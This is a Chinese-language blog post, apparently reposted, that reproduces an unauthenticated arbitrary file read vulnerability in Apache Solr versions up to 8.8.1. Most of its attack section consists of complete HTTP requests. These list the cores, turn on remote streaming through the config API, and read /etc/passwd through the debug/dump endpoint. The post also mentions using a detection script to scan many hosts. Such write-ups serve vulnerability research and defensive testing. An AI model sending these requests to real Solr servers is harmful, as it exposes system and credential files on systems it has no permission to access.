Apache Solr任意文件讀取漏洞復現


image

Apache Solr任意文件讀取漏洞復現

一、簡介

Solr是一個獨立的企業級搜索應用服務器,它對外提供類似於Web-service的API接口。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,並得到XML格式的返回結果。

Apache-Solr任意文件讀取漏洞漏洞,攻擊者可以在未授權的情況下讀取目標服務器敏感文件和相關內容。

二、影響版本

Apache Solr <= 8.8.1

三、漏洞復現

安裝:

Solr下載地址:自行下載對應滿足版本http://archive.apache.org/dist/lucene/solr/

image

訪問頁面

image

第一步:獲取core的信息:主要是name

http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

image

詳細數據包

GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: 127.0.0.1:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

第二步:判斷是否存在漏洞:返回200並且包含This response format is experimental. It is likely to change in the future 可能存在,需要進一步的去讀取/etc/passwd或者其他進行確認最終是否存在讀取漏洞

image

詳細數據包:

POST /solr/tesla/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8983
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8983/solr/tesla/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
​
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

第三步:讀取文件/etc/passwd:

image

詳細數據包:

POST /solr/tesla/debug/dump?param=ContentStreams HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8983
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8983/solr/tesla/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
​
stream.url=file:///etc/passwd

編寫檢測腳本:

顯示讀取內容:

image

直接跑存在不現實讀取內容:

批量出來效果還是不錯的

image

參考:

https://mp.weixin.qq.com/s/5U04Qhr_KBCznAbXe9jEeg

免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!

轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。

訂閱查看更多復現文章、學習筆記

thelostworld

安全路上,與你並肩前行!!!!

image

個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

個人簡書:https://www.jianshu.com/u/bf0e38a8d400

個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

個人博客園:https://www.cnblogs.com/thelostworld/

FREEBUF主頁:https://www.freebuf.com/author/thelostworld?type=article

語雀博客主頁:https://www.yuque.com/thelostworld

image

歡迎添加本公眾號作者微信交流,添加時備注一下“公眾號”

image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM